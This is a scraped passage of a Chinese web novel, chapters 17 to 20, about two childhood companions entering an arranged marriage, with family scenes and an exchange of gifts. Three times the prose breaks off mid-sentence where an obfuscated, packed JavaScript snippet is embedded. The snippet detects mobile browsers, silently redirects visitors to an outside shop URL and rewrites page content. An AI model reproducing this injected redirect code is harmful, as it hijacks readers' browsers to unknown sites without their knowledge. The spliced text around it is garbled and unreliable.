“刚吃完处理工作去了。”宋雨溪道,“一天天的比谁都忙。” 吃完早饭,宋雨溪拿了平板给凌含真看设计图:“订婚就在海边怎么样?不叫外人了,就自家人吃顿饭,要不要请朋友来玩?” 凌含真想了想:“请吧。” 刚说完,他便听见了脚步声,抬眼正好明栖深走过来,与他对视上时主动含笑开口:“醒了?还难受吗?” 凌含真心头莫名一跳,表面依旧冷静道:“不难受了。” 宋雨溪立即把平板一推,站起身道:“后面还有订婚礼服跟戒指的图,你们自己挑吧,我要去跟你爸浇花了。” 明栖深于是占了她的位置,一边翻图片一边问:“昨天不是说不喜欢之前的戒指设计吗?正好刚传来了新的,看了吗?” 凌含真道:“还没有。” 他语气平缓,显得有些冷淡,明栖深偏过脸看他,慢慢凑近了些,几乎要抵到他的额头,悄声问:“祖宗,还高兴呢?” 明明客厅长桌附近只有他们两个人,他还故意这样,好像背着人似的,连带凌含真的声音也不由跟着降了下去:“我没有不高兴。” 回想起昨晚,他甚至有些羞愧,早上一醒来,他就反省了自己,因为错过了那个突兀的提议,他心里失落,难免迁怒于明栖深,事后想想实在不应该,他们还远不到过夫妻生活的那一步,假装无事发生才是最好的。 他十分清楚,明栖深对他态度好,依旧用以前的方式对他,只是在尝试跟过去和解,仰仗的不过是幼时的那点情分罢了。那是对弟弟的关怀,没有半点暧昧的情愫。 明栖深问:“没有不高兴还不给我被子啊?” 凌含真一顿,虽然是带了一点个人情绪,但也不能完全怪他:“可我不裹着被子睡不着,而且你确实离得太远了,漏风。” 明栖深“哦”了一声:“下次注意。” 凌含真觉得,这算是和解了,可对方还是没有挪开的意思,依旧在看着他,委实靠得太近,以至于他的耳根一点点红起来,于是轻轻推了对方一下,垂眼一本正经道:“能不能看戒指,你也要挑。” 明栖深道:“我讨债啊。”他伸出一只手朝凌含真摊开掌心,“还债。” 欠债人明显心虚了,白皙的脸上很快浮起浅浅的粉色,瞥了他一眼,无奈又别扭地往他手心拍了一下:“晚安。” 明栖深笑起来,终于正身坐好,目光移到平板上,随意翻阅着,正欲说话,便听凌含真别别扭扭问他:“那你晚上还会给我打电话吗?” “打。”明栖深道,“陛下几点有空?” 凌含真脸上差点没绷住,片刻后才淡然道:“十点吧,打完就睡觉了。” “好,那我准备半小时的演讲稿。” 这下彻底没忍住,凌含真绽开笑,弯起眉眼,怎么都压不住翘起的唇角,好一会儿才收敛些,一脸认真地让他看戒指的设计图,忽然觉得这次给的设计都很符合心意了。 十点的时候,段成来了,院子里重新忙碌起来,准备中午的家宴。 宋雨溪的笑容便淡了下去,冷了脸,没有跟他说话,只有明维栋跟明栖深父子俩招呼来者。 活着的那个总是会遭受最大的诟病,即使什么都没做也是错的,宋雨溪把所有的爱意和怜惜尽数倾注到了凌含真身上,恨意和疼痛则都给了大人,她从不同段成来往,然而今时不同往日,对方到底是凌含真唯一的亲人,这顿饭迟早要吃的。 凌含真知晓她心有怨气,于是一直陪她说话安抚,段成也知道自己不受待见,保持着谦和有礼的模样,没有故意上去讨嫌,一顿饭还算和谐,但吃到半路他主动要跟明栖深喝酒,一杯又一杯接连不断,终于醉了,醉后开始失声痛哭,哭自己枉死的妻子和岳父岳母,哭年幼无助的儿子,哭一生孤寂的自己,听得凌含真也不由红了眼圈,怎么都没憋住,眼泪啪嗒啪嗒掉不停,宋雨溪也跟着无声哭起来,最后全都沉默了,满院只能听见这个中年男人的哭声。 还是明栖深最先反应过来,站起身道:“段叔叔喝醉了,我先送他回去。” “我带他回去吧。”凌含真揉着眼睛,声音有些含糊,“有司机呢,不用你送。” 明栖深还是坚持要送,他便没有再拒绝。 上车后,段成就靠着窗半晕半睡过去了,明栖深怕他冲撞到凌含真,于是把自己当成隔板坐在中间,让凌含真坐在另一侧:“很快就到家了。” 他们两家离得不是很远,不过二十多分钟车程。 凌含真“嗯”了一声,戴好眼罩和耳机,靠着后座,偏过头,脸朝着窗外。 明栖深握住了他放在膝盖上的手,另一只手将他的身体拢向自己怀里,他微微动了动,没有挣扎,乖顺地偎依着。 车无声无息地驶向远方。 过了十分钟,明栖深抽出一只手轻轻摸他的脸,摸到眼罩是湿润的,心像有淤泥慢慢堆积着,在这一刻完全堵塞住,无比难受。 童话的主角也会变老,小王子也不可以不长大。 车到家停下来后,凌含真已经恢复了平静,让迎上来的管家带段成回去休息,又对明栖深说:“没事了,你回去吧。”他想起对方是坐自己家车来的,“让司机送你。” 明栖深道:“我不回家了,已经让人来接了,马上到。” 他说话的时候摸了支烟点上,味道不算冲,能起到很好的缓解压力的作用,他在极度烦闷的时候会纾解一下。 凌含真“哦”了一声,一时间不知道该说什么,垂眼看着地面,一闻到烟味,便不停咳嗽起来。 明栖深赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14245129|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧掐了烟,想上前又因手上有烟味退缩,只能紧张问:“闻不了烟味?” 他已经怕了,怕对方身体又出什么问题,心都吊了起来。 “不喜欢。”凌含真眉头紧紧皱起来,严肃看向他,“不要抽了,会缩短寿命。” 明栖深应了:“好。” “不在我面前时也不要抽,戒了。”他第一次用不容置疑的语气命令,随即觉得自己语气太重,于是放缓了些,找出了理由,“不但会缩短寿命,还会羊尾。” 明栖深笑了笑:“好,戒了。” “我不是咒你。”凌含真软下声音,为自己的鲁莽解释,“是科学研究的结果。” 明栖深的车正好开了进来,他偏头瞥了一眼车,又望向凌含真,换回了轻松的语调:“行,你短命又羊尾的丈夫要走了,晚上再给你打电话,有什么吩咐直接告诉我。” 凌含真也笑了,只“嗯”了一声,目送他离开,后知后觉他说的是“丈夫”而不是“哥哥”,愣了许久,才回屋去看自己的父亲。 段成醉后多数是安安静静的,只是今日触景生情,百感交集,才失态痛哭,情不能自己,在车上睡了一会儿后,已经清醒了些许,正躺在床上发怔,看见儿子进来后,尴尬地笑了笑。 凌含真坐在床边,关切问:“头疼吗?再睡会吧。” 他开始仔细打量起父亲来,对方常年在外奔波,他们很少能聚在一起,以至于他已经很久没这么观察过对方了,这才注意到对方已经生了许多白发,清俊的脸上有了明显的岁月痕迹。 他心里愈发酸楚。 “还好。”段成有些内疚道,“对不起啊宝宝,爸爸今天失态了,爸爸只是,只是……”他声音有些哽咽,缓了缓才继续道,“只是太高兴了,要是你妈妈和外公外婆知道,也一定会很高兴……” 他说不下去了,开始咳嗽起来,凌含真温和地拍着他的背:“不用道歉,我都知道的。” “你跟深深能结婚,我就放心了,他一定会好好照顾你。”他咳嗽完,话渐渐多起来,“你的婚前财产,爸爸都给你保护得好好的,足够你过几辈子了。不过他们家也不需要这点东西,深深给你准备的要多得多,他会把你照顾得很好,从小就是他惯着你,没有谁比他更好了,这样爸爸要是不在了……” “别说这种话。”凌含真立刻打断他,“你只要早睡早起,不要酗酒,定期体检,多加锻炼,可以活很久。” 他想了想:“要不你直接退休休息吧,反正我也花不了什么钱,够我们用了。” “话是这么说,可我还是想让你外公的心血能壮大,也是唯一的念想了。”段成习惯了他的教育,只感叹着,“你是爸爸唯一的亲人了,爸爸一想到你长大了,既高兴,又舍不得你,可是大雁终会南飞,孩子也要离巢,以后如果真有什么,觉得过不下去了,你就回家,再怎么样,你还有个爸爸,爸爸还活着呢……” 他又咳嗽起来,咳出了许多眼泪,呜呜咽咽哭着,凌含真继续轻轻拍着他的背。 “没事。”他最后拥抱住父亲,安慰道,“我们都会好好的。” 18.第十八章 自从公布婚事之后,凌含真这几天收到的消息和问候,比他几年内收到的加起来还要多。 他的微信□□里其实有很多联系人,小学到大学的同学、朋友的朋友、因为各种原因产生了一点交集但加了好友后再没说过话的,诸如此类数不胜数,他没有清好友的习惯,别人不找他,他就当人不存在,结果一跟明栖深结婚,这些躺在列表跟虚假npc一样的联系人全都活过来了。 就连家里出事的时候,来慰问他的也寥寥无几。 话术千篇一律,都是祝贺他新婚的,他忙不过来,只复制了“谢谢祝福”四个字一一回复掉,算是应酬了。 他平日从不发朋友圈和空间动态,也不回复任何节日祝福,像是不存在一样,如今难得现身,许多人都顺着回复试图跟他聊天套近乎,他都认真看了,全都是想从他这里打探明栖深的消息的,他把这些目的性太明显的消息都忽略掉了,没有再理会。 在家陪了父亲几天,凌含真便开始收拾东西搬去新家。其实也没有多少东西要搬,只用带一些他已经习惯使用不可或缺的必需品,他去转过一圈,明栖深准备得比他自己想的还要齐全,小到卧室里的装饰摆件都十分符合他的心意,只是依旧挑了点毛病,比如嫌弃会客厅的欧风八音盒颜色太暗太压抑,在暖色调的整体里显得太突兀,看着心情也不好,明栖深建议他放到练舞室去,他尝试了一下,觉得效果很不错,于是接受了对方的建议。 七月六日上午,凌含真正式搬完了家,在新家吃了午饭,陪伴他的只有一圈佣人。 明栖深只有东西齐了,人还要过两天才能入住,虽然对方已经说明了忙碌的情况,但他心里难免空落。 在这场婚姻的提议出现之前,他最大的幻想也不过是两人会在某天意外碰面,对视擦肩或者礼貌寒暄,再深一步就想象不出来了;而确定婚姻后,他的幻想又局限于对方会冷漠疏离,敷衍了事,可真正接触之后,对方和想象中截然不同的态度,以及保留着许多年少时的习惯,都让他的心一点点活泛起来。 人总是贪婪的,一但有了希望和期待,就会奢求更多。 比如现在,他的期待已经从“能平和见面就好了”变成“每天都能见面就好了”。 家中一别后,他们已经近十天没有见面了,往来不过电话交流,可是语音永远也比不上真人面对面,就算不说话,一举一动,表情眼神,都能拨动心弦。 他太想念明栖深了,他已经贪婪到再见不到对方,就要焦虑得吃不下饭了。 好在这几日他也没有闲着,除了收拾东西以及每日必要的训练之外,他都在认真学习先婚后爱的知识技巧和做笔记,充分掌握了先婚后爱初期的要领。 研究发现,有十三本先婚后爱的初期都是这样的:由于被迫商业联姻,攻不喜欢这个没有感情被迫塞给自己的陌生对象,所以婚后一直在外不回家,而温柔体贴有自知之明的自卑受就默默守在家里,每天问攻回不回来吃饭,攻自然冷漠对待,没有回应,尽管如此,受还是每天认真做饭,直到有一天晚上,心情不好的攻突发奇想,回家吃了晚饭,被温馨的氛围感染到,第一次有了家的感觉,因为这些霸总攻都有一个高傲的妈,无情的爸,私生的弟弟和经常闹事的爸的外室,组成了冷漠无情且割裂的家。 从此霸总攻对温柔自卑受有了一点点好感,开始频繁回家,感情逐渐升温,直到有一天醉酒过上了夫妻生活——但具体怎么过的没人知道,毕竟小江文学城不允许出现脖子以下部分。好在这些都是中期事件了,目前不在考虑范围内。 研究员凌含真认为,虽然研究成果与自己的实际情况有一点点出入,但总体方向还是一样的,他现在不就是在苦苦守家痴痴等待吗?是时候按照研究成果进行实践了。 凌含真没下过厨房,倘若他告诉明栖深自己在家做了晚饭等对方回来吃,明栖深一定会认为他被夺舍了,进而把他送去驱邪招魂做法事。 于是他想了一个折中的借口,觉得很合适,就在傍晚时分给明栖深发了条消息试探:【在干嘛?[小猫探头.gif]】 明栖深应该是真在忙,过了5分钟才回他:【应酬呢,怎么了?】 凌含真忍不住问:【你也要应酬吗?】 明栖深:【当然要啊,不应酬怎么谈生意吗】 凌含真皱眉半天,到底没憋住,问出了心里的疑惑:【你不是金融圈太子爷吗?大家都得奉承你,平时谈笑风生,平易近人,可谁不小心惹怒了你,你的笑容就会冷下去,眸中闪过寒光,周围人吓得脸色大变,冷汗涔涔,不敢吱声,随意一瞥,就有人得破产】 明栖深:【……等闲下了一定陪你出去玩,不要老是在家看网络小说】 凌含真发了好几个失望噘嘴小人的表情,是他从男同群里存的,几乎要刷屏了,以此表达自己的不满。 明栖深立刻改口:【你说得对,我这就让他们都破产,居然敢让朕应酬,反了天了】 凌含真看着他的回复笑了一会儿,才问:【不是吗?大家都说你是太子爷啊,这几天来找我打听你消息的都要爆了】 明栖深:【谁都不用理,保持你的高冷人设】 凌含真解释:【我没有高冷人设,我只是不喜欢跟不熟的人说话】 对方就没有再回了,大概忙得没空看手机,凌含真开始用“小猫走来走去”的表情包刷屏——自从发现明栖深像小时候一样对他无限包容后,他就愈发得寸进尺,从一开始的小心翼翼进化到对方几分钟不回他就开始不满。 又过了七八分钟,明栖深直接打了电话过来,还是熟悉的带着笑意的声音:“没有不理你,刚被人绊住了,找机会给你打电话说。” 他大概是找了个僻静的地方专门打电话,但背景依然能听到许多人声。 凌含真别别扭扭问:“你在做什么应酬?” 明栖深道:“打高尔夫呢?” “打完了吗?都傍晚了,是不是还要去吃饭?” 明栖深“嗯”了一声,反问他:“你吃饭了吗?” 好时机! “没有。”凌含真斟酌了一下,慢慢说出了自己的折中方法,“我烧了壶开水,你要不要回来喝?” 跟做饭相比,烧开水要简单多了,他从没给人烧过水,现在为了明栖深,勇于尝试,还是很有诚意的,符合先婚后爱的大致走向。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262799|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在他话音落下的一瞬间,那边就像被戳破了气泡似的迸出了笑,接着是断断续续的憋笑声。 凌含真赶紧严肃纠正他:“别笑,我是认真的。” 明栖深笑了好一会儿,才正色道:“我是金融圈太子爷,不苟言笑,心机深沉,这下可好,你在这儿逗我笑,他们都看过来了,我还怎么眸中寒光一闪,让人破产?” 凌含真也笑起来:“你可以当谈笑风生间让人破产的太子爷。”他顿了顿,又问,“那你还回来喝水吗?” “喝,必须喝。”明栖深道,“我都不敢想象,王子殿下亲自烧的水得有多好喝,我要是错过了得痛哭三天三夜。” 凌含真对他夸张的赞美十分满意,对自己想的理由更满意,于是叮嘱:“那要快点回来,不然就凉了。” “好。”明栖深想了想,“等我一个小时,一个小时后肯定能到家。” 一个小时肯定是没办法完成一场饭局的,凌含真问:“你要回家吃饭吗?” “嗯。”明栖深道,“你不是还没吃吗?正好回去陪你吃。” 凌含真满意得不能再满意了:“好,那我让厨房多做点菜,先挂了。” 他挂了电话,愈发觉得自己这段时间的研究没有白费,果然走向跟研究成果几乎一模一样,事实证明这些先婚后爱的小说都是基于现实的,极有研究价值。 明栖深回到人群中,是时晚霞满天,众人皆尽了兴,东道主邀请他前往晚宴的游艇。 这本是顺水推舟理所当然的事,明栖深却婉言拒绝了:“家里人找,我得回去一趟。” 对方关心问:“明先生的身体还康健吧?” “他很好。”明栖深道,“是我弟……”称呼刚发出音他便顿住,略略思索改口,“我爱人找我。” 解释其实没有必要,尤其是涉及到自己的隐私家事,但他还是说了多余的话,连他自己说完都有些惊讶。 他想了想才选择了“爱人”的说法,算是正式承认他跟凌含真的关系,而这个新奇的称呼,让他心里升起一种说不清道不明的感觉。 明明是他的弟弟,现在竟然发生了如此巨大的转变,他甚至到现在都没有适应。 对方了然,随即露出意味深长的笑,说了几句祝福的话,送他离开,末了十分感慨。 从刚才开始,明栖深的行为就有些异常了,先是含笑盯着手机不停回消息,一会儿又满面春风地去角落打电话,虽然听不到在说什么,但观其神情,明显是一副年轻人坠入情网的模样,不难猜出,他在给他那位花了大价钱追求的小情人打电话,然而没过几分钟就神情严肃,挂了电话要匆匆离开,说是爱人找,再联系对方最近的天降婚姻,不难猜出—— 明栖深的正牌结婚对象发现了他的真爱小情人,那可是出了名的霸王,又被长辈无限溺爱,哪能容忍自己在婚姻里受委屈,怕不是已经杀上了门。可怜明栖深,好不容易有了真爱,却被强行赐婚阻挠。 如此桥段,其实在不少人家家里都上演过,没想到明栖深也无法逃此一劫,心里一定憋着极大的怨气,就等着爆发了。 这段突如其来的婚姻,怕是不能长久了。 19.第十九章 明栖深在天刚黑的时候回到了家。 虽然他的东西早已经搬过来,但人只匆匆来过两趟查看进度,今晚才是要正式住下。 庭院里已经亮起了灯,微暗而透明的黄,如水般流淌,总管家姜玲正在给新雇佣的几个佣人分派任务,听到车的动静便暂停下来,含笑招呼:“深深回来啦,真真说你今晚要回来吃饭,在等你呢。” 她本是宋雨溪的得力助手,宋雨溪怕两个孩子独立出来,新人照顾不周全,特意拨了几个老人来指点,等把新人训练熟了再回去。毕竟现在的人确实太多了,单是厨房就分了两拨,一拨是凌含真自带的,一拨负责明栖深的口味,难免会乱起来。 明栖深礼貌朝她点了点头:“姜姨。” 姜玲陪着他从喷泉处往主建筑走去,感慨道:“真真和小时候还是一个样。” “人都是会变的。”明栖深的语气有些淡,“您是看着他长大的,一直没分开过,才觉得他跟小时候没变化。” 不像他跟凌含真分开太久,在他眼里对方的变化可谓天翻地覆,然而细细想来,其实内核还是没变,非要让他形容的话,就是从一只盛气凌人颐指气使下命令的猫崽,变成了一只委婉柔软小心怯怯下命令的小猫,本质都在指挥别人,只是换了可爱软萌的壳而已。 姜玲道:“也没有呢,我已经好几年没见过那孩子了,了解的也不比你多多少。” 明栖深脚步停住,微微诧异地望向她:“好几年?他这几年,不是在家住的?” 他说的家自然是他的家,虽然在十六岁以后,那里便被凌含真占据了,再没有他的位置。 “没有呀。”姜玲道,“你出国上学去后,他也再没来过,甚至来看一眼做个客都没有,真狠心啊这孩子。”她叹了口气,“小鸟翅膀齐了会离巢,孩子大了也会离家,你们两个都不在了,这个家就空了,处处都是死气沉沉的,可愁人呢,你回来后,你爸妈脸上才有了笑容。” 这跟明栖深以为的大相径庭,他还以为凌含真一直住在自己家里。 他皱了皱眉:“段叔叔接回去的?” 姜玲摇了摇头:“他自己不愿意住的,孩子心里装着好多事呢,从不跟人说,谁知道呢。” 说话间,俩人已经进了主客厅,凌含真听到声音,从餐厅里跑出来,探出个头,眼睛亮闪闪的,装满水晶灯璀璨的流光,脆生生叫了一声:“哥!” 又看见对方身侧的姜玲,那股兴奋的劲儿就下去了许多,有些不好意思地喊了声“姜姨”。 姜玲笑着朝他点点头,便继续出去忙了,明栖深朝他走过去,神情不由柔和下来,一边解下西装递给迎上来的佣人,一边问他:“等饿了吗?” “还好。”凌含真道,“就是水凉了,我给你温着呢。” 明栖深笑起来:“好好好,一天的盼头有了。” 凌含真也被他带着一起笑,与他并肩走到餐桌边,相对而坐,亲手给他倒了杯水,慷慨道:“这真是我自己烧的,喝完再吃饭,不然一边吃饭一边喝水对胃不好。” “那是你的习惯,我可没这习惯。”明栖深道,又夸赞他,“水烧得真好,跟水的味道一模一样。” 凌含真反驳:“我已经改掉了,现在吃饭不喝水了。” 晚饭本来是凌含真一个人吃,他的口味清淡,菜色都十分健康,明栖深的口味则偏辣,但也不挑,会迁就他,他打电话问对方要加什么菜时,对方只说按照他的口味就行。他想了想,还是准备了一罐辣椒粉以备不时之需。 果然明栖深在喝汤的时候觉得寡淡,抬头看到了辣椒粉罐,在凌含真的一侧,离他有些远,便随口道:“宝宝,把……”他猛然顿住,因为自己脱口而出的称呼有些失神。 凌含真在他抬头的时刻便知道他要什么,他开口的同时已经拿起辣椒粉罐要递给他,闻言也愣住了,手停留在半空之中。 他是两家人中最小的那个,被看着出生长大,因此大人们,包括大他五岁的明栖深,在他幼时都会叫他“宝宝”,只不过这个称呼在他上学后就很少出现了,唯有明栖深经常喜欢这么叫他,尤其是一些特别温情的时候,比如哄他睡觉时,比如吵完架和好他在伤心哭泣时,对方就会格外升起怜爱之情,这般哄着叫他。 他们现在的确在将往事抛却,尝试和解,因此兄友弟恭,然而到底是道天堑横在面前的,这个旧称委实太亲密了。 还是太习惯了,谁让他们之间的相处已经刻入骨髓,总是不经大脑反应,身体已经在行动了。 有时候,太习惯了也不是件好事。 时间静止了几秒,还是凌含真先反应过来,假装若无其事地把辣椒粉罐放在明栖深面前,低头喝自己的汤,沉默不语,明栖深也没有说话。 吃饭的时候格外安静,只能听见细微的咀嚼声和餐具碰撞的叮当声。 饭后甜点是做成企鹅玩雪形状的布丁,明栖深顿了顿,还是把企鹅的头挖下,放在凌含真的盘子里。 凌含真低着头默默把头吃掉了,他吃东西一直有个毛病,什么都要尝第一口,尤其是明栖深的东西,就连一个包子也得揪一点点对方的尝尝,像这种甜品的尖尖,明栖深都得让给他。 甜品的分量和口味都是按照他的标准做的,几乎吃不到甜味,只有浓郁的奶香,可他今天多吃了一个头,自己那份吃到一半就觉得腻了,犹豫着把盘子推到一边,明栖深以为他是给自己的,于是直接接了过去。 凌含真的耳根又红了。 他挑剔,胃口也不大,很少能完整吃完一份食物,总是要剩下一点,都丢给明栖深处理了。 冷气温度不高不低,正是适宜,可他的耳朵一直滚烫,没有冷静下来过。 吃完饭,两个人照例去庭院中散步。 是夜月色正好,皎皎当空,偌大的庭院已经准备睡去,只留下寥寥几盏灯照明,晦暗而暧昧,俩人并肩而行,隔着窄窄一道距离,俱是低头看路,踩在月光上,似乎又回到最初尴尬的时候。 好一会儿,已经在庭院中绕了两圈,明栖深才开口打破沉默:“生日……有没有什么想要的?” 凌含真的生日在七月十三日,没几天了,他准备的东西,总得有送出去的理由。 凌含真道:“我早就不过生日了。” 明栖深讶异地偏过头,看见他低着头,脸藏在阴影中,摸不清表情,只听得语气很平淡。 他刚想问为什么,又想通了为什么,便没有问原因,只试探问:“一点也不过了?蛋糕也不吃,礼物也不要?” 孩子的生日是跟母亲分不开的。 凌含真道:“都不要。”他终于仰头望向对方,认真道,“你不用费心,我真不想过。不过过两天我要跟卷卷他们出去玩一段时间,订婚前肯定会回来的。” 若是以前,他肯定会提前把自己的假期安排妥当,可因为要结婚,许多计划都被打乱了,只能走一步算一步。 明栖深“嗯”了一声:“去哪儿?” 凌含真道:“本来想去滑雪的,但我怕订婚有变故,不敢走太远,就去南边几座城市逛逛。”说起礼物,他突然想到了什么,“差点忘了,我有东西给你。” 明栖深笑:“什么?礼物么?” “算是吧。”凌含真道,“在我房里,我回去拿。” 明栖深道:“我也有东西给你,正好回去了。” 他看了眼时间,也出来半个多小时了。 虽然是婚房,但目前的情况,他们住一起也太突兀了,因此还是各住各的,好在房间很多,若是以后要同居,再布置也不迟。 两个人各自回屋拿东西,拿完后在走廊相遇,凌含真的神情又轻快起来,拉过明栖深的手,把东西放在他掌心,抬头冲他笑:“给你糖。” 他笑得实在太可爱了,以至于明栖深的心跳漏了一拍,莫名有些慌,于是垂眼看自己手中的东西,是一盒橘子味的硬糖。 “给我糖干什么?我不喜欢吃这东西,你又不是不知道。” “给你戒烟的。”凌含真回答,“我在网上查了,抽烟一般是因为压力太大,想要缓解焦虑,把烟换成糖,会减少对烟草的依赖性,慢慢就戒掉了。” 他说着有些心疼了,明栖深这个年纪掌权,确实压力会很大。 明栖深笑了笑:“好,争取不那么早死。” “别说了。”凌含真赶紧阻止他,“我只是陈述危害,又不是咒你,你也不要咒自己,说这么不吉利的话。” “都听你的。”明栖深道,又从口袋里摸出一样东西,让他站好,低头将东西戴在他的右胸前,随即退后一步审视。 凌含真也低头瞧,发现是一枚飞燕样式的胸针,脑袋是一颗红宝石,身躯是四颗蓝宝石,其余地方用碎钻填满,像是十七八世纪西欧风格,华丽璀璨,一看就价格不菲,但总让人觉得不舒服。 他摸了摸胸针,问:“你是不是打算给我当生日礼物的?” 明栖深道:“无论是什么都只是礼物,不用管意义。”他颇为欣赏,“好看,适合你。” 凌含真道:“是挺好看的,不过我觉得他这个配色很不协调,燕子的脑袋为什么要用一整颗红宝石?看起来怪怪的,很渗人,如果换成一颗小的蓝宝石当眼睛,就自然许多。” 明栖深道:“设计师太追求华丽了,只有你能压得住,别人戴了都不会好看。”他提议,“正好订婚的时候戴上。” “不戴。”凌含真想也没想便拒绝了,并给出了合理的解释,“我的订婚礼服是纯白的,这个颜色太张扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272995|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,不合适,倒不如你戴,你的是深蓝的。” “合适。”明栖深坚持,“素色衣服配艳色首饰,更衬你,深色衣服反而没效果。” 他走回凌含真面前,低头给对方整理衣服,声音也放柔了:“戴吧,行吗?” 他靠得太近,温柔的商量语气好像贴着耳朵似的,凌含真一下子软了下来,慢慢从嗓子里滑出一声“嗯”。 明栖深得到了满足,又觉得为他整理衣服时,摸的衣料手感不对,于是随口问了一句:“这衣服谁家的?怎么有点糙,别伤到了。” 小孩子的皮肤十分娇嫩,尤其凌含真的,衣料糙一点,都会让他不舒服,因此他的衣服从小到大都是专门定制的。 明栖深的思维显然还停留在过去,摸到他的衣料不对,就觉得要伤到他。 凌含真笑起来:“你想什么呢?我都几岁了还会被衣服伤到?又不是穿的钢丝球。” 明栖深也笑:“你连厨房都没进过,还知道钢丝球?” 他这才注意到对方穿的是绘有简单图案的奶白色T恤,再普通不过了,没有任何亮点,不过也正常,再亮眼的珠宝首饰和衣服在这张脸和身材面前,都会被完全忽略掉。 他的小王子穿什么都是光彩照人的。 “我又不是没常识。”凌含真回,一边想起自己的衣服,“我也不知道什么牌子的,还是跟卷卷逛商场的时候买的,三件八折,就买了三件,挺好穿的。” 明栖深彻底愣住,抬眼用不可思议的目光盯住他,随即慢慢碎裂。 不仅是眼里的震惊,还有思维,一起碎掉了。 他无论如何也想不到,竟然能从凌含真口中听到“打折”两个字,并且还是毫不在意的语气,仿佛这是一件十分寻常的事,有一瞬间,他甚至觉得时空错乱,来到了平行世界,遇见的是另一个普普通通长大的凌含真了。 绝不是他大惊小怪,过度夸张,毕竟在他的记忆里,凌含真自出生起,吃穿用度,都是顶级。他的衣服玩具,都是私人订制,独一无二,再不济也得是全球限量款。他长得绝顶可爱,雪白娇嫩,又嘴甜会哄人会撒娇会跳舞,每个人见到他都是高高兴兴心花怒放的,大家怎么疼他都觉得不够,把最好的东西都套在他身上,金钱反倒成为最不值钱的东西了。 他在这样的娇惯之下也被养得格外挑剔,如同一只趾高气昂的小凤凰,非梧桐不栖,非醴泉不饮。 倘若有一天有人告诉明栖深,凌含真会像普通人一样,穿着三件八折的普通衣服,和朋友逛普通商场,他一定会觉得对方在说梦话,或者只有他家彻底破产一个可能,然而这是最不可能的可能。 凌含真见他一副碎掉的震惊石雕模样,觉得很奇怪,问:“怎么了?” 明栖深慢慢找回思绪,吐出一口浊气,下意识抓住他的手盯着他:“你爸克扣你钱了?买衣服的钱都没有?!你卡呢?!” 他一连三问,凌含真有点懵:“没有啊,他没克扣我,我不缺钱啊。”他想了想,安慰道,“我就是觉得没必要。” 明栖深的语气有些强硬:“怎么没必要。”他说完意识到自己太强势,于是放缓和了点,“干妈没给你黑卡吗?哥哥给你。” “真没必要,我有卡。”凌含真哭笑不得,只能耐心道,“我自己有钱,想要的自己都会买的,你就当我买点小玩具新鲜一下,行吗?”他说完又觉得好笑,“你怎么这么大反应,好像我在要饭一样。” 明栖深观他神情,不像是说谎,那股突然冒起的无名火才慢慢熄下去,冷静下来:“没什么,还以为你没钱了,犟着不肯说。” 他一时间也说不清自己怎么了,非要解释的话,大概是觉得娇生惯养的弟弟受了委屈,也跟着憋得慌,毕竟他是最严厉的那个,也是最惯着的那个。 “别生气了。”凌含真软声哄他,“我已经不是小孩子了,没那么多讲究。” 他把胸针解下来:“我先收起来,等订婚的时候再戴,好吗?” “没生气。”明栖深看着他,想了想道,“正好你过两天出去玩,哥哥给你点零花钱。” 他好像得了一种不给自己花钱就不舒服的病,凌含真没有再拒绝,笑着应了:“好。” “去睡觉吧。”明栖深说,“我明天要出趟差,大概一个星期的时间,不用等我回来吃饭了。” 虽然明栖深没有在家待多久,第二天一早又离开了,但下午,凌含真便收到了一张新卡,存了三千万,是给他出去玩的零花钱。 他实在想不出来自己出去买什么需要花这么多钱,买大象吗? 隔日上午,他在家里收拾旅游的东西,又在家陆续迎来了好几波人,都是来为他量身定制衣服的。 这也太霸总了吧,他有些无奈地想。 20.第二十章 收到明栖深礼物的第二天,凌含真突然想起来司浔每日都在兢兢业业问的问题,于是在对方一大早再次询问的时候,他拍了张照发在群里:【送了,昨晚送的】 鱼鱼:【好看,得值三块五吧】 豆豆:【好看,得值三百五吧】 卷卷:【好看,得值三千五吧】 铭铭:【你们什么眼光,当玻璃呢?我七哥出手,不得三百五十万?】 凌含真老实回:【不知道,他没说多少钱,你们要是喜欢我回头问问是哪个设计师】 鱼鱼:【不用不用,看到就放心了】 真真:【放心什么?】 鱼鱼:【放心他对你还是有感情的!这不是一场破碎的婚姻!】 凌含真一时间不知道怎么回,就算明栖深对他是残留的情谊的,也跟爱情毫无关系,他分得很清楚。 